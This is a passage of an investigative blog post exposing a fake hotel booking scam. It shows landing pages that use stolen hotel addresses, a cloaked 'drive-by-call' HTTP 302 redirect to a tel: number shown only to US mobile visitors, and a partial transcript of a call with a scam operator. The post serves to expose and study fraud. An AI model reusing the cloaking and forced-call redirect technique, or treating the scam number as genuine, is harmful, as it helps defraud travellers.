8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>fake hotel landing page showing rooms</p><p>None of the buttons are clickable and nothing is actually reservable from the sites. At the bottom, one dead giveaway these are indeed scams &#8212; the addresses, all in Florida, were stolen from real hotels:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ibgo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ibgo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 424w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 848w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 1272w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ibgo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png" width="875" height="356" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0d090887-772f-4a89-b862-4be52d214eb6_875x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ibgo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 424w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 848w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 1272w, https://substackcdn.com/image/fetch/$s_!Ibgo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d090887-772f-4a89-b862-4be52d214eb6_875x356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>bottom of page showing stolen address</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EpCA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EpCA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 424w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 848w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 1272w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EpCA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png" width="875" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!EpCA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 424w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 848w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 1272w, https://substackcdn.com/image/fetch/$s_!EpCA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F21b9bd88-7ee9-4719-a87a-4344a2f66c0a_875x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>bottom of page showing stolen address</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ntM5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ntM5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 424w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 848w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 1272w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ntM5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png" width="810" height="978" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:978,&quot;width&quot;:810,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ntM5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 424w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 848w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 1272w, https://substackcdn.com/image/fetch/$s_!ntM5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70d6a488-a8d9-4f6b-b25f-1fadea0c425f_810x978.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pKRB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pKRB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 424w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 848w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 1272w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pKRB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png" width="808" height="992" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:992,&quot;width&quot;:808,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!pKRB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 424w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 848w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 1272w, https://substackcdn.com/image/fetch/$s_!pKRB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb3d4f77e-d13a-4bba-984a-0f75cb31687f_808x992.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>screenshots of the real hotels from which the addresses were stolen</p><p>So, we asked ourselves, what is the final verdict? With a sense of anticipation, we took that one crucial step, only to be met with overwhelming frustration. It was an abrupt dead end, a crushing blow to our hopes: &#8220;The number you called is incorrect or disconnected.&#8221; The phone numbers displayed on those websites, mere illusions, nonexistent in reality.</p><p>Something was still off. Why would you buy search ads, set up fake hotels pages when your only money-making, conversion avenue is broken? Where&#8217;s their so-called &#8220;money page&#8221;? It had to be a number.</p><p>Sure enough, testing the sites on US mobile devices immediately fired up a URN that prompts your device to call <em>the real, </em>shock<em>, <strong>cloaked numbers!</strong></em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4gMl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4gMl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 424w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 848w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 1272w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4gMl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png" width="875" height="1894" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1894,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4gMl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 424w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 848w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 1272w, https://substackcdn.com/image/fetch/$s_!4gMl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb8e4378d-0734-4def-8d7f-674b70272aa3_875x1894.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8220;drive-by-call&#8217; redirect</p><p>Behind the scenes, it&#8217;s an HTTP 302 response:</p><pre><code>{                  
    &#8220;_transferSize&#8221;: 434,
    &#8220;status&#8221;: 302,
    &#8220;statusText&#8221;: &#8220;Found&#8221;,
    &#8220;httpVersion&#8221;: &#8220;HTTP/1.1&#8221;,
    &#8220;headers&#8221;: [
        {
            &#8220;name&#8221;: &#8220;Location&#8221;,
            &#8220;value&#8221;: &#8220;tel:+18784330168&#8221;
        }
    ]
}</code></pre><p>And the fun begins. Here&#8217;s the transcript of our very pleasant chat with one of the very helpful operators:</p><pre><code>0:01
Thank you for calling press 5 to continue.

1:42
Mhm.

1:45
Reservations.

1:47
Hello I would like to make a reservation for a hotel in Portland.

1:56
You would like to book a hotel.

2:03
So you&#8217;re speaking with the consolidators who help you to book the 
reservation for the flight?

2:10
Oh okay.

2:13
I need a flight too.

2:19
Alright and which city you&#8217;re flying from?

2:22
Newark, New Jersey?

2:28
Okay.

2:30
I&#8217;m flying to Portland, Oregon.

2:39
You will fly from John F Kennedy.

2:42
No from Newark, New Jersey.

2:49
And how many people are flying?

2:55
What you are going out?

2:59
next Wednesday that&#8217;s the 8th.

3:05
Okay.

3:07
I&#8217;m coming back the 10th.

3:18
What time you would like to leave out?

3:22
eight a.m. Yes, you want a nonstop flight or with one stop?

3:35
It doesn&#8217;t matter.

3:38
Okay Give Me one min.

3:47
Sure give me one answer.

3:51
The flight I have which leaves 7 42 AM.

3:59
Give Me one min Please.

4:14
Yeah, the flight would leave 7 42 AM arrives 1 25 PM one stop in Denver for one hour.

4:21
14 minutes.

4:23
Okay and coming back From Portland you leave 1251 pm and arrive 11 29 PM with one stop in Denver for one hour, 29 minutes.

4:42
Okay.

4:42
Sounds good.

4:46
Yeah, you want to fly an economy?

4:51
Yes.

4:54
All economy plus economy is fine.

4:59
Okay.

5:04
The cost for the flight would be $817.48.

5:17
Alright.

5:28
Can you please give me the name of the?

5:31
Yes.

5:32
where would you please remind me what your website address is?

5:36
I think I got you on Google Search.

5:41
I&#8217;m sorry.

5:42
Would you please remind me the address, the url of your website?

5:47
What&#8217;s the address?

5:48
I don&#8217;t remember.

5:49
I found you on Google Search.

5:51
I think you can call him 800 to 12 to one 1212.

6:09
Okay.

6:11
So that&#8217;s your phone number?

6:14
Yes.

6:15
Okay.

6:16
